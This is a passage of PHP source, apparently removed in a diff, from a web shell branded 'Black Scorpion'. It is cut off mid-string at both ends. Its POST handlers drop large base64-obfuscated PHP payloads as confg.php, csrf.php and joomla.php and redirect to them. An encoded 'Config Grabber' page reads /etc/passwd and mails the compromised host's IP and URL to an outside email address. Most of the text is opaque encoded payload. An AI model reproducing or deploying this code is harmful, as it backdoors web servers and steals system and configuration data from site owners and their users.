QlBveTVGQlFGWSsrdGFjMUY2SlNYYTFnSHQ1ZUlUZVFQSm5ycnBQYS9sRXhCZnNzcFZpdHlHWG5KQ1lTRDBEMWdBMzRNV2NNZU1SZCs1QXVOY0IyQUhUcUpVMnNPUUVWOUUvejdydklmdC94VG03UHBYd2F1SjlQbjlzOTVKN0cycCtwUWg4cHBZc2UvK1lleCs4NzR3TElqbFRpeXl2ZTEzUzBpanhYaTZTUU1YRUJUbHUzdThUT1VLSVNYanorV3Q5ZmIvSC9YUDlzU3Z2elQ0QmhUOHlIeU1xYjFaOFVLQmZLbEQ2aTY5MTFsNkduaTh4Mzk0d0VxQ200dnU5MTJ5amFkOHQ1ZmZlSjhId1AvL2kvK1Q5QjlMMS9rKzc5aDdmZDdYcnZyM2REVHdzcDV2aDd5OWNZNjhma2Yvc1B6WnM5YnljdUJMOHBRL2dzUlFFMFh2elN1YmRkN2QzQU1aeTNBZjlHNnE5T1Q2NGtidGh6MmpsSDd1OWNKajdVZEtpazl6dmRiaWQrbjBNZFdOUC94bXp2c2IwWS9sWHJZdng4c1RULy8vOHl3OG5SKy81Ylh0Ly9Qc1AzZkY4SWovZnd5Z1VlMkVsRlNpNm04UHl6em51TTBPZllVVFVIRGhlWm9BcXBiZVhJSVN5aW9NdXo5S2QvMUhYaHUwKzhSWDJPbjRadjZKVVJBY2luOWZuQUlCd0plMlRkQ3JFQW40WmZ5SllUQWNpbjkrbVFRQndKZTJQYkNNRkFuNFpQcUpjVkFjaW45ZG1nWUJ3SmUyTFpDdEZBbjRaL2hKZ1hBY2luOThsd2dCd0plMkhYQ09HQW40WnZaSmtaQWNpbjlibEFwQndKZTJEVkN2R0FuNFpmUkpvYkFjaW45NmtReEJZZk5Kb2NBIjsNCmV2YWwoaHRtbHNwZWNpYWxjaGFyc19kZWNvZGUodXJsZGVjb2RlKGJhc2U2NF9kZWNvZGUoJGJsYWNraWUpKSkpOw0KZXhpdDsNCj8+";
- $blackscorpionS1 = @fopen("confg.php", "w");
- @fwrite($blackscorpionS1, base64_decode($confg));
- @fclose($blackscorpionS1);
- header("Location:confg.php");
- }
- if (isset($_POST['csrf'])) {
- $csrf = "PD9waHANCi8qDQoJCVRoZSBHaXZlbiBDb2RlIFdhcyBTdWNjZXNzZnVsbHkgT2JmdXNjYXRlZCBCeSBCbGFjayBTY29ycGlvbiANCgkJCQkJCUZyb20gOiBodHRwOi8vMTI3LjAuMC4xL3NoZWxscy9lbi5waHANCgkJCQkJCQkJCVRoYW5rcyBGb3IgVXNpbmcgOkQNCgkgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBCbGFjayBTY29ycGlvbiBPYmZ1c2NhdGlvbg0KKi8NCiRibGFja2llID0gIlpYWmhiQ1V5T0NVeU55VXpSaVV5Tm1kMEpUTkNKVEkzTG1kNmRXNWpiMjF3Y21WemN5VXlPR2Q2ZFc1amIyMXdjbVZ6Y3lVeU9HZDZkVzVqYjIxd2NtVnpjeVV5T0dkNmRXNWpiMjF3Y21WemN5VXlPR2Q2ZFc1amIyMXdjbVZ6Y3lVeU9HZDZkVzVqYjIxd2NtVnpjeVV5T0dkNmRXNWpiMjF3Y21WemN5VXlPR2Q2ZFc1amIyMXdjbVZ6Y3lVeU9HZDZkVzVqYjIxd2NtVnpjeVV5T0dkNmRXNWpiMjF3Y21WemN5VXlPR2Q2ZFc1amIyMXdjbVZ6Y3lVeU9HZDZkVzVqYjIxd2NtVnpjeVV5T0dkNmRXNWpiMjF3Y21WemN5VXlPR2Q2ZFc1amIyMXdjbVZ6Y3lVeU9HZDZkVzVqYjIxd2NtVnpjeVV5T0dkNmRXNWpiMjF3Y21WemN5VXlPR2Q2ZFc1amIyMXdjbVZ6Y3lVeU9HZDZhVzVtYkdGMFpTVXlPR2Q2YVc1bWJHRjBaU1V5T0dKaGMyVTJORjlrWldOdlpHVWxNamh6ZEhKeVpYWWxNamdsTWpSQ2JHRmphMTlUWTI5eWNHbHZiaVV5T1NVeU9TVXlPU1V5T1NVeU9TVXlPU1V5T1NVeU9TVXlPU1V5T1NVeU9TVXlPU1V5T1NVeU9TVXlPU1V5T1NVeU9TVXlPU1V5T1NVeU9TVXlPU1V5T1NVelFnMEsiOw0KJEJsYWNrX1Njb3JwaW9uPSAiK3VSbUpWZkYwaXY1UWdpM2h4UUQ0VEJDWlhrZURNMHhtMy9EQWVLK2RBSHN5djZsdnYrMjUvbzVCZEpwZ2pPYnFyOVo4Uk4xWFNzQVFuS1IybnNQOEhRcnlIR0EvdVArL3pRL3E1Y09QaXQvL3QwdC9NL1BnWjBTSFJ4ZDlucnRmMmRQZldpbW5sZmVqbWlOaW1LTEczbHJYcnlmMTZSMnYrM0haaWNxWkJndG9rVEx6MFhrU2w0KytXcE52MHptb3JRVHM5TkpmcTN6ejIzU1FrNW1sM0tTTS9OUlU0WjVER1ArWUxrOXZwWlo5TUxmYkk1WjIrV2lqOXhNL0ZSMlp0NTdzTUpzd2tma0RCR213bThRWXpyVm5GUUpKSmo1UzZlYVlSdllla0RZMUlDeFMrTlRPUXVlelZyck5TRHkxMXhxTjhCamRSLzdHSzJWN01BcGRjWDdDY1RWSVFoQzMxaXhZbnJIMjdteERvYVU4ZFlDQUFnZWZUTjZBTXc1aUNZUWRxSzhIV2FTUVl5OUkyMXQ4NHRNZnlUTGhWYnVQaGExemZZTlBML21ZVTlwKzBwV3RsWmVFcXlJN1dFbUJlMjgwWkVBNEwvdnBsVjNYaTJ1K3BUb2xmZzFsSWYrSXRUc0VLcG12T25DcEh4KzFsaTdCY01HNnRtNlJJZ3dMU0ExWEg3OXBYem8xaXVlRXcvdGN6Z1ZYcUNTSjNYcTk0WitkZ2pJZG1uUThjZ3ZQZTVhRkdURHorRmVCOUlvdC9ZZER5dXltU2s2cWFVdHVpNEVyT3NNTG5rdXQvcHFOM1FHenpLRmtZZ0p2TWlNVURsL253akdKRUNxejhMaFdrek50NDV0SnN0M09OSWY0YVU2NUd2UzQ5bFNlOGx6SCttTXV1cGdrdjRORHNuWXR0SHBJNC9TKzQwb0k0R2t5Y3Zma1BDRXk1UnVtSEhoMytNY0NlREhBMUpuTDR0WEFURFA4bU9EeC9zZUxJVDNEQWxkeVk0Y2NZQUN0eVI0Q0lkVzk2WmZQbGlOUStodE5KZXFVallIdVBveGlzY3d4eWd0ZUlsVzYzdE94VC9Gb1ozcU1nYmRmelNHK1pTeEJyRnYwaFhtR2tRMTdTbnlQVzRhR2pvTTFpVER0TzI3dVpieGdGSTJSR09mSWw1WjhZOUxWbUJ1VnBXQzFIVWVTWThZL0FiVmxYMTRaNFpQdmNnWGIwZHVwTklLajdnbkVUMDJXRDBXVkZ6QnNSNEk0cm5UbmZNSmNucjIxMUFDTElhbmNVam5xWDU5TGZ0dGZ5YmlYeHRvd3FXc3JWN3FCUzRVelhraWxpMjgwQVJQWW9DUHdzR2pKM0xyaHFjWlJPTW5nVTB1bW1sUmptVU44Y2FhenIvQ2VXeStMN0VNMGRaSUI3R3ZlQi9qdHJ5VklxbGdUQ2NwREFKdm02ZXBqYjJwdi9kbzlleVE3L05nNjFnR1J4VlFxYWFDak0rM0t4M3hiZk8zNFVnVHhneWgrWml4NlJ2eXlvcXhRNjdBWTdVd2tFWjRaRVUrQzNBUXdVdmJkYkxVMStXYlhZSzJQYXU2aFdscEZnOTRpbUVLRThqMmRBWm5Ga1BCSmNPRlNtRHhYdU5vaDd4d3d5VDl5YmNCZzQxNUlyMDdYcXNzSC84cXljcmtwUnhhQkU5OEh6S3BGK3VqeXZEUlhoc1ZkOFFsZEZ1WCs5ckVDMHg5b21zZVAyOVFHQ2NIUFlobTUwNHh0emo0Y01rZThKWEpSSHR4b2t5Z3NjN1NzR0p1ZEVqNXhsdmVSSnQ4eU9JSnd0Tnh5amFTK2V4aUtEK3pDeDRUWTl2UzFsV1JKeWFkNENFcGlEbWhlT1pqV1RHd05RTkZnYWtZZ2N4V29TQXZOQU5NV1BWS2piMUdjK1FkbTd5QVQ5dUxMMjY4bEhuREkrR3IwbXBOV3NVdVBRTVBzL2xlMHlSaWViRWV1cTRaOFdicDFpTjQ3UVNpK2p3dEFUcnhJb3hZV2JXOXJVV09NalJLQlRXVk1UZmRVSnB6eVNRbUovcXZnc3huYnhmbGNLY3JRV0cxRWNzM0RnRTY2Vi9XeXVUZi9LVE9HS2phU0pZMVhPTGljd25GQVpPSHRFKzRPQjAvaUM5RjcvNXlRRW5waXJtT2gzQ2RNckNzNE1ybmc2aTRqdzJzUm0xQ2U0K2JobDlZam90VnZ2WnB3QmI5VUR1V1pFTkthcUdNd25mN0t5YlFqaU4ybm5nOEo0MndJZ2I4OUhYTHh3TDdqUmpST3hGMjJKVmtYQUIvcllZbTc0cDRuYXFaTUlBTFlhUkpTSmVUV0sxRnZBaUdYMzVIWSsrMkxzWGk1cGV3V2Q0N01NclNqSW9sOFVGWXlJZHljaUcyY2FIU1lhaFRrUE5OemFSdFRRQU1sOVRJVlRjQnFoSXhyczdhd1lTbisrd0Myakhac0lwVzcxM2dJQVRpaFdkdUV4TU5uUTRIU3R6TDBaeHlGbk9mdWZXeVVOOU9LWTRQVUNwYkpZQ1V6L1ViNXp1WTlQNStacnpYTTVoV2Q3dnQ5UUwwZXNyNVRCTHBSdldKS2krMXBIR1plM2Z3NDNzSW5nZER1MTR0RmxTYUdiQitKNmJiNXFJOGttbldSYkpUYk5FdmNkcG1QTFNJZjNMY01KT1lMSnVXNFJUMlBJTStiMUdSTkxvVG4ycjcxa1NHdFN5cnlaRVJ5S2FrTUlvWkFRREhrNEN6cFBVZWMxV3pyanlTS1NuYnhCUThBSllnbEc5QytDU3NDS3czQ2xqUXdVZ1hSejdSMjJqUnhIZlRaNEp4ZjZRL1d4NjIzQ3JFc2lrVVVNSTdqcHAxNTBYZjBnOE1XNVRWNUdBa3NtZ3A3KzJjVUNha2UrZmhib0Q5aTlnZ0h0SVdHNCtVZjNCeVBGSjNHNHRIbHhWbWpPaEZpUUNrVUQ1MGlrY3pQYlZ0TUNYVmlkVFArVnhJaUozWlhOVW1udlZHSEt0SzBuNGxERlA5NlJaSjMrUVM4WXpnU0lFam1zVDJHQjBPN0FsZDBpWDhGSjVyRFdraGNDUEpWVlZ3dlBLYmMxeXUyejZvdUF5bzFObmdoNXI2WHlPSE9IV1czQ2NWMlhINzNGSEFWcEdXVXRoVEMzSjdNemlxSXhaS21xWjliV0FyZTc0Zjh3a1VYQmN3SW9VeXZObFQ5YWRJdEZobzNTVjAzbUl5MlpockZZVnZvSEY0TnVmcnVCRlZUS2loWVpoaTlFZEExZG1MZkpBOWtxUmNSY2JTU1A0bjlSampNa2tzWGhuaEI4RVFiNldRQmdOeEVpdktiOHQxMHRBTjgwaXd6ZkxRNVJ6VlMwYTJaYUtZODVLQ1F0Y3B1T0ZqbXFmR1d4d0pLSDhTTlBKSWViZFRWdGNUS0w5enBTNWlVZjlVWlJHeWwxSlZvSldWUzRFYTkyOStLemMyQ3VjejBmNHNWRVVwbW9oUnpITjRyYVFMbHZoQ1JmaDRnMU5MakZscnFXUEFnNnBFUkVCeURFOTgzV2l3aW9tNUFLRXcrQU4wMDNadUNtemlXdERMd3hUNllZN2dwUlVvdDJSc1N5TkRBQW05UHBRSHdtUFVQTkdsSnBnY3pJeFo0TnE1RE1DUVgwRUloOUVJNkN3NXhWcTk2UFVlU3QzdVR5WWFDS29NTzdUK2MzQUtRcGMrRVJVNmZGN2NEcktUeFhpbFZHVm5nQ1pjU0pkUng0cExYVmZHWUlwaDg3b0xLeXJXem5kVjhVeVlNbGZuM2kxWDJQV2hOYkY2MnNmVmRUR0N3YlZXZ0hMMnczUy9GOEJYVGx2LzRlcnpSSC8vUFVQSXFzZDgvay93N3dqLzlvTlBWU1BJVm9QWU82N3BjdjlqTG1JOCtWb2NTZWFlMXAyMkhPODNQSmtiUlNYUkVQUktjNSsvZHFRRVBVczNlVVV6L2UvUCs3RDE2VCs3OUs5UkF6WWRock9SbG1OOWt4N3A2NGxVVXNiRzFibjNsci80ai95Y1l1OERRZlk5Mjd2dktENm84UFcvKzlOd2Z0dTkvUFI3djhqN1gyL2svL1ZvL3ZUOXgzSFY3ZTU4T1VpOE5YZkdYUkwvLzY0N1gvZldBdWJibUpGNEFQSDZYbFBDQ2p3TzR2dXJWNWYvOUI5OEplSTRZMi9mUVg5andrY084SmRVMldjOXMvVnBhR05KMm1QeGxWZjcxNjdTdElaU3NWdThSblhmYU9VYy9aOWVVcDMreTg2TExyZi8vK0M4WDFPL3laOFBuelA2cC9IU0tGM1hxT2xpbGNqWllNN0FNME4rKzB2M2ZtbHp5eElicllWNW9aVnhiTTJPbnVpQWJ2Z3hQNFEvQ2YvMUhIcDIwdjhSWDJPbjRaUGtKOFdBY2luOUZtZ2VCd0plMnJYQ0ZHQW40Wi9iSkFaQWNpbjlrbHdtQndKZTJuVkNtR0FuNFp2VEpFYkFjaW45RGxBdkJ3SmUyalRDSEhBbjRaZkxKSWRBY2luOWlrUTNCd0plMmZSQ29IQW40WlBESk1mQWNpbjlCa2cvQndKZTFidkNKRUFuNFYvNktRUkFjaVg5Z3J3SEJVLzJLUVNBIjsNCmV2YWwoaHRtbHNwZWNpYWxjaGFyc19kZWNvZGUodXJsZGVjb2RlKGJhc2U2NF9kZWNvZGUoJGJsYWNraWUpKSkpOw0KZXhpdDsNCj8+";
- $blackscorpionS1 = @fopen("csrf.php", "w");
- @fwrite($blackscorpionS1, base64_decode($csrf));
- @fclose($blackscorpionS1);
- header("Location:csrf.php");
- }
- if (isset($_POST['joomre'])) {
- $joomre = "PD9waHANCi8qDQoJCVRoZSBHaXZlbiBDb2RlIFdhcyBTdWNjZXNzZnVsbHkgT2JmdXNjYXRlZCBCeSBCbGFjayBTY29ycGlvbiANCgkJCQkJCUZyb20gOiBodHRwOi8vMTI3LjAuMC4xL3NoZWxscy9lbi5waHANCgkJCQkJCQkJCVRoYW5rcyBGb3IgVXNpbmcgOkQNCgkgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBCbGFjayBTY29ycGlvbiBPYmZ1c2NhdGlvbg0KKi8NCiRibGFja2llID0gIlpYWmhiQ1V5T0NVeU55VXpSaVV5Tm1kMEpUTkNKVEkzTG1kNmRXNWpiMjF3Y21WemN5VXlPR2Q2ZFc1amIyMXdjbVZ6Y3lVeU9HZDZkVzVqYjIxd2NtVnpjeVV5T0dkNmRXNWpiMjF3Y21WemN5VXlPR2Q2ZFc1amIyMXdjbVZ6Y3lVeU9HZDZkVzVqYjIxd2NtVnpjeVV5T0dkNmRXNWpiMjF3Y21WemN5VXlPR2Q2ZFc1amIyMXdjbVZ6Y3lVeU9HZDZkVzVqYjIxd2NtVnpjeVV5T0dkNmRXNWpiMjF3Y21WemN5VXlPR2Q2ZFc1amIyMXdjbVZ6Y3lVeU9HZDZkVzVqYjIxd2NtVnpjeVV5T0dkNmRXNWpiMjF3Y21WemN5VXlPR2Q2ZFc1amIyMXdjbVZ6Y3lVeU9HZDZkVzVqYjIxd2NtVnpjeVV5T0dkNmRXNWpiMjF3Y21WemN5VXlPR2Q2ZFc1amIyMXdjbVZ6Y3lVeU9HZDZhVzVtYkdGMFpTVXlPR2Q2YVc1bWJHRjBaU1V5T0dKaGMyVTJORjlrWldOdlpHVWxNamh6ZEhKeVpYWWxNamdsTWpSQ2JHRmphMTlUWTI5eWNHbHZiaVV5T1NVeU9TVXlPU1V5T1NVeU9TVXlPU1V5T1NVeU9TVXlPU1V5T1NVeU9TVXlPU1V5T1NVeU9TVXlPU1V5T1NVeU9TVXlPU1V5T1NVeU9TVXlPU1V5T1NVelFnMEsiOw0KJEJsYWNrX1Njb3JwaW9uPSAiPT1Rb3dHcFdJczY1c2JpcE1kcmpnK0p1MHE1aHliUGw3YTI4UHUxRUxuSXoxSFhoQUZSakFhbVhjdDNaZ0hpZDVqcHJ3bGJpTHVXYXgyM1pJOGdSaTV0bjBZbHp6QndmWGJ2L1pJZjFjczMzakZQLzJnei9JM2ZnNThzRVI5cDluaTFmMjRzZmVtMTc1ZktqMHV0aTBPL3Y3MGxMUTl2YnRJdjR2N2JaS1hDM0x6ZUc0RmFNOFZ1RUNaMkxiYVdqeDZYSkZTSEJZMm5aUzR2ZjlkNCs1VDJDdzZNK0dJMGtYa3ZRdTBlczl0VkpodUkrM2hBYmZkS3U2R1luMHo2c1poaHZhUnZTaTVmT0ZUUHorUTJTc2JyRDVzeXV0a0ZHQTdacm1JRUhNdDRhZXdJUXpJdEpubVZVTEdlOE5QOE5PcnBQc2RKQlY2ZnF5ZHN5WjVUR2owNzhyOXJyNFVVeW1jSWNBaEpuMWc0aXhoSzBRMkw3UjZSd3FwVkxOYVVhMHdDZklKYVFWNFdoa0xBc2FOVFE4U1QzM3M0c1lXWjVNRVNQT2IvN0RINnBZTjd0NVNiWDVaakRtallBeGw0OUlyUjlpREg1elFLd3pNcmUvb0VPVVFQWXlKbGRySWdwbzhLYjNLS0JBQXZVV2FzWU5PNlltaGZPdkVkMVNGZzhMZ21OTW8yU29yRkhKK0xXVlliRGloR0UwdmdaaDJDNFFGa1lCQXdZSGZhMWVPUW5yZDNhb1NEejlOV2tOUm0vQUJKU3JEWkVOTlE1dXJyTXg5cUdSZFcrZjU1WTRWeE9WN0p2UlM2Z3pBRDhvQVFRa09Ed0dqcC8xeDJ5YWF3YXN2REdhSDZGcmQ0SnhQNmdjYWtCN0VDUTlmRWowRTVLZ0hJY0NQYWV2OUJCWDJaSVJPNFNlQU5YTk9wQmVyZ3UvR0dBRmNKeWNEa0ZDZTlNRllvbjJjZ3pRV3dUc3BKck9CSFBxT1lnZVk5SGZqRHJlc1FUYjM1Vm1Ib1lMWGNzVkZrcXlLT1BSbnhDSUNVSENKZGJoYTh5bXJxL3RiTWJiZ2h6U2xyQ2RHbDF2VWNHN3JjSUVsdzc5eHQyZjEyK2dkMmxPdGtDRXpLWVdtcGE1TlFkZ2p1T2FqUmtXVGNSRklyRzJOZmdzSDJEVlo5WFdPQzF6WDdUSnhWd1BoVWlpckY4dmpSN0NTdmRoM09KaTk1UUNFNU1XNFhScmxPSlZOc1hyS3B5OUZmU3E2YjBPa1FWZUpFZjkrMVBMeENXaGlMbWprWE5FWkZzZEtCTFlBZGFJRFQ4YU9SVzlOZmNJazR3OUYrcUt1bjJBS1Q5OW1qVWx2bXE1UXFaZS9JZklHd1RUWVRUZ0wyRDZwK3BpRjhxRzRmbGV4ZExBbUViWUpyMk9ON3dsYkhLdG1lSUltUCs2SHB0dkd6Z28zcktiR3lhV09GMEhOeEVsRmk1QXNsM3E4SlFKU3NHc0FHeHlMbVVleFhCRnQ2ZXZUaWlHM3EzekZKNnFTZmpHRk14d2w1NjJ3SitvQTI2KzhwSVhibVIrL2hFQ2xWYXcwYmpyb3I1bGdMU0hWQkl2MTJhbTVnRUhGQXAzUUJONHdsdlpuUDE0Uk5wUis2SnhHREg4WEhMdEF3bkgySGxpZmNQZnVSUk04Y1JzVHc5R01vUWxWVFU2c01yYnorTk1MeEdDT21uZU9yWGQrOWJCOGl1U3AzZW9aNS9BVWh0MzVNazhmaDZKMzM2eXFqd3JiRTVuWlJDQU14elNkWmhEV1ZPcUdaMmtaS2NMenUvekdmYzIxOG9TS0hHOEE3dy84TXRmaXhKdjA4NU5Ub0lOdTEyUktVQzRqRnVaTllydHlNUmRmUzl5Q0pVWUE5TlR2ZVJXeTRuZUxaTVAyOXV5L3JUTXNzQTMvT3I1bG96aHpld1l3elN5RDh1b1VVaHIwV1RHMUozQjRkdUJoNk1KcFNMQ1VGekJrajZEaUJoSTBqY0VuL1FIeGNqa3lBRWxXa3FwUFFRWEhZVklyTDhwbkJzMGZSOVJNTk5uOHFMc3FQVUZPeERmQ1AyU00wQ2xDZFFXOHNkYWhzaGpIMlpITS96TUNtVDh4UlJybWVXRzZIUkFQRkc1bCt4NEluTExXZ3Q2SUJjeGx1ZUtoSlFxUjhUdFBuN1FSa1krS3kyeXNCTm12SEpzYVpZU3d0TlA1NEJMYU9ldmJKVFNSa1hORzFJRkhMR1B2amdsc3pGK1p4ZldCWXFQMVU0Y0hJWGZuQVBrQzVWT3A4d2c3azR4T1dBOXRSSGlLb3lRNGoxV2tNWU9vQWNkTTZUeTFtT25aTDg4YTA5UjdiWmQrZFpmRTNOaDUyTFkrNEpIT3hTaU5JSE96ZDl5dlFJZTF6MjVKZWZIN1pBaVFERmYzQUtWeXhJUWxiT0NQZ2ozREZhSHdNT0RhK1NyQzNKakJIaytZWDdSVkRxTkxvQzZsZFJpUmNUblRSWFpMdVFBcjVMOXludVdXc0p5NFpWa2V5b2pqRWxSdEdHMU95bmo1bHlyUm8wMFV4czh5ODVTbWdHUEpUTGVYZTQyQld4Z1lkWDVZTFFIbHJvSDZ4UlBCR1B4TTF1bnk2VlZnYWxJU0lFdjBMUlE3Y3Yxb0VYTzkwRUY2a0thelMyYnlBaVUzcnRENEFpanZOY1NQRURGSEVabUcvMnpTcFlFRW5WT0dhaWtTNHN4RUtvMVZlL3gzTWlVUGlOazhJQksyUmpQaGNPalM0alBmYmNvR0RXaW45eXIreERLZm44RUk2WDAydkhhRkhQSEtZbkpJdUczNlJYaEpyWWJiUm9Idm5iM0czanNNeG5icWxWblNNOVFYU0d2cXNCOW9PamxnWHQyQ0ZqNzVVVnNCRytHeXFiV0M3RU9vU0VmZStkRlNaMnA5Q3Z3ajd4Y2NYMVloRE0rUVpyRktXV2ZvZ2RGOGVaZGtrRjJUbURJUGp1TVp0MTJ6S0NrbUtrejdjdEpIRjcwM2pFMW5SbDFRSEVjWDd6ankwMmNZdXJKN2dXbkEvRWNOOVBKY2IySDY4Szh1eUZsVnZ2VmFnaVVmQnRpanRxL1VodHZUL2UzUks0WkFSaWtLQmNhVk5ocGFab0pyN1pSeDFHenhPdXRrbTFpVjAwbXBMUmhSdGh1NkJGRnJhVjY0QmQxYnNWbm5sSlJTR0tHUGl0aFZlb29SMVQ4d2ZuZEQ4UVFtcUxFVWlHc3ljbHpvanMvMFkvaWNwV3BnSjlNWjBMcjhVdThjUDlLVE13SC95cHQzVFN0R09GMDNCMFA3dE9GcWtSLys3UUdWSkgwUmZpemRncXlSUUhOQTFjVCswNkNNWkNITGM2RkJMc0ZMYWdIUVl3Q0VZRXBqOXdKdzJkaDhrUVU2dUhLQk1YcHpacmRxM2k2RGxvaFFUVXVCZHdPdFNkejJMYUJaV1FtL3hwN2o2bFpSQTFGeGxyYWtGemJRSlVXeHpya3dhMEVWb25Ga2VCZncxUSs3UHVYNmMwMDcvN3FIa2VMSC9QemJvZDVML1cycXlaUWpvYlR6UWQxN2o1YzNuZm5FdW5NV09KS0wvNlYvS1JMT1d3RTF0QWVNRXhUbGlYdS9mT1VJQWlYaTNCWFl6LzUrZjhhOXBuVjZ2ZGVDUElkaVhCUm1SZHFLRHVuZUEzU3h3dVpVdmRkbCt4eEgvcDVKY1pHcG5MOW43ZnZwTW85S2ZmNy8zUEErN2Juai9ub0YvL205RjdmYVA5L011ZmQvbnFtUFBkRG5ndm10UGozQ1QvL3c0MXIvZmVEdVRibXpGNEJQSDZYSmZFRUN4Tjd2c0xXMSsrM05FVG04K2c3MWUvTjBWNkhtVXpOZjZHczlXUE5tTjU4bW16eG1VRzhhLzJZbDc1TlRqMXp4WDhGOExMR08rZjUxR1diT2ZMSnJ2ZmYvOHk0dlIrK24vZDN5di96QjY5QzZRcVBGbFRWdVFubFhJNXlhODdUZWYzckRQNVRiQ3hZaE5ha050SkVta3hjYUlrN3R3eXQ4UStsTzMxR0dCMnMrOFJYMk9uNGRmU0lZYkFjaTM5K2dRd0J3SmUzUERDTUhBbjRkUEtJY2RBY2kzOWRnZzRCd0plM0xCQ3RIQW40ZC9CSWdmQWNpbjk4bndBQndKZTJIZkNPRUFuNFp2NUprUkFjaW45Ym5BSkJ3SmUyRGRDdkVBbjRaZnhKb1RBY2luOTZtUVJCd0plMi9hQ1FGQW40WlBwSnNWQWNpbjlabWdaQllQbEpzV0EiOw0KZXZhbChodG1sc3BlY2lhbGNoYXJzX2RlY29kZSh1cmxkZWNvZGUoYmFzZTY0X2RlY29kZSgkYmxhY2tpZSkpKSk7DQpleGl0Ow0KPz4";
- $blackscorpionS = @fopen("joomla.php", "w");
- @fwrite($blackscorpionS, base64_decode($joomre));
- @fclose($blackscorpionS);
- header("Location:joomla.php");
- }
- if (isset($_POST['blackscorpionbypass'])){
- }
- if (isset($_POST['configgrabber1'])){
- $configgg = 'PGh0bWw+CjxoZWFkPgo8dGl0bGU+Q29uZmlnIEdyYWJiZXI8L3RpdGxlPgo8c3R5bGUgdHlwZT0idGV4dC9jc3MiPgoJCQlib2R5IHsKCQkJYmFja2dyb3VuZC1jb2xvcjogIzFkMDIwMjsKCQkJU0NST0xMQkFSLUZBQ0UtQ09MT1I6ICMwMDAwMDA7IAoJCQlTQ1JPTExCQVItSElHSExJR0hULUNPTE9SOiAjMDAwMDAwOyAKCQkJU0NST0xMQkFSLVNIQURPVy1DT0xPUjogIzAwMDAwMDsgCgkJCVNDUk9MTEJBUi1CQVNFLUNPTE9SOiAjMDAwMDAwOwoJCQljb2xvcjogd2hpdGU7CgkJCX0KCQkJb3B0aW9uIHsKCQkJCWNvbG9yOiAjMDA5OTAwOwoJCQkJdGV4dC1hbGlnbjogY2VudGVyOwoJCQkJZm9udC13ZWlnaHQ6IGJvbGQ7IAoJCQkJZm9udC1mYW1pbHk6IGN1cnNpdmU7CgkJCQlib3JkZXI6IDFweCBzb2xpZCAjMDA3NzAwOwoJCQkJYm9yZGVyLXN0eWxlOiBncm9vdmU7CgkJCQliYWNrZ3JvdW5kLWNvbG9yOiAjMDA5OTAwOyB9CgkJCXNlbGVjdCB7CgkJCQljb2xvcjogd2hpdGU7CgkJCQl0ZXh0LWFsaWduOiBjZW50ZXI7CgkJCQlmb250LXdlaWdodDogYm9sZDsgCgkJCQlmb250LWZhbWlseTogY3Vyc2l2ZTsKCQkJCWJvcmRlci1sZWZ0OiBibGFjazsKCQkJCWJvcmRlci1yaWdodDogYmxhY2s7CgkJCQlib3JkZXItc3R5bGU6IGdyb292ZTsKCQkJCWJhY2tncm91bmQtY29sb3I6IGJsYWNrOyB9CmlucHV0ewp0ZXh0LXNoYWRvdzogIzc3Nzc3NyAwcHggMHB4IDNweDsKYm9yZGVyOiA0cHggc29saWQgIzAwNzcwMDsKYm94LXNoYWRvdzogMHB4IDJweCA0cHggIzAwNzcwMDsKY29sb3I6ICMwMDk5MDA7CnRleHQtYWxpZ246Y2VudGVyOwpib3JkZXItdG9wOjFweCBzb2xpZCAjMDA3NzAwOwpib3JkZXItbGVmdDoxcHggc29saWQgIzAwNzcwMDsKYm9yZGVyLWJvdHRvbToxcHggc29saWQgIzAwNzcwMDsKYm9yZGVyLXJpZ2h0OjFweCBzb2xpZCAjMDA3NzAwOwpiYWNrZ3JvdW5kOnRyYW5zcGFyZW50OwpoZWlnaHQ6IDI1cHg7CmZvbnQtc2l6ZToxN3B4Owp9CnRleHRhcmVhIHsKdGV4dC1zaGFkb3c6ICM3Nzc3NzcgMHB4IDBweCAzcHg7CmJvcmRlcjogMXB4IHNvbGlkICMwMDc3MDA7CmJveC1zaGFkb3c6IDBweCAwcHggNHB4ICMwMDc3MDA7CmNvbG9yOiAjMDA5OTAwOwp0ZXh0LWFsaWduOmNlbnRlcjsKYm9yZGVyLXRvcDoxcHggc29saWQgIzAwNzcwMDsKYm9yZGVyLWxlZnQ6MXB4IHNvbGlkICMwMDc3MDA7CmJvcmRlci1ib3R0b206MXB4IHNvbGlkICMwMDc3MDA7CmJvcmRlci1yaWdodDoxcHggc29saWQgIzAwNzcwMDsKYmFja2dyb3VuZDp0cmFuc3BhcmVudDsKfQp9Cjwvc3R5bGU+CjwvaGVhZD4KPGJvZHkgYmdjb2xvcj0iYmxhY2siIC8+Cjw/cGhwCgokdXJsPSJJUDogIi5nZXRob3N0YnluYW1lKCRfU0VSVkVSWyJIVFRQX0hPU1QiXSkuIlxuVXJsOiAiLiRfU0VSVkVSWydIVFRQX0hPU1QnXS4kX1NFUlZFUlsnUkVRVUVTVF9VUkknXS4iXG5Vc2VyIElQOiAiLiRfU0VSVkVSWydSRU1PVEVfQUREUiddLihpc3NldCgkX1NFUlZFUlsnSFRUUF9YX0ZPUldBUkRFRF9GT1InXSk/JygnLiRfU0VSVkVSWydIVFRQX1hfRk9SV0FSREVEX0ZPUiddLicpJzonJyk7CiAgICBAbWFpbCgiYW5kcmV3Y2hyaXMxMTlAZ21haWwuY29tIiwiY29uZmlnIiwkdXJsKTsKCmVjaG8gIjxicj48Y2VudGVyPjxzcGFuIHN0eWxlPSdmb250LXNpemU6MzBweDsgZm9udC1mYW1pbHk6RnJlZGVyaWNrYSB0aGUgR3JlYXQ7IGNvbG9yOiNkY2ZmNWYnPkNvbmZpZyBHcmFiYmVyPC9zcGFuPiI7Pz48L2NlbnRlcj48YnI+PGNlbnRlcj48P3BocCBpZiAoZW1wdHkoJF9QT1NUWydjb25maWcnXSkpIHsgPz48cD48Zm9udCBmYWNlPSJUYWhvbWEiIGNvbG9yPSIjZGNmZjVmIiBzaXplPSIycHQiPi9ldGMvcGFzc3dkIGNvbnRlbnQ8L3A+PGJyPjxmb3JtIG1ldGhvZD0iUE9TVCI+PHRleHRhcmVhIG5hbWU9InBhc3N3ZCIgY2xhc3M9J2FyZWEnIHJvd3M9JzE1JyBjb2xzPSc2MCc+PD9waHAgZWNobyBmaWxlX2dldF9jb250ZW50cygnL2V0Yy9wYXNzd2QnKTsgPz48L3RleHRhcmVhPjxicj48YnI+PGlucHV0IG5hbWU9ImNvbmZpZyIgY2xhc3M9J2lucHV0emJ1dCcgc2l6ZT0iMTAwIiB2YWx1ZT0i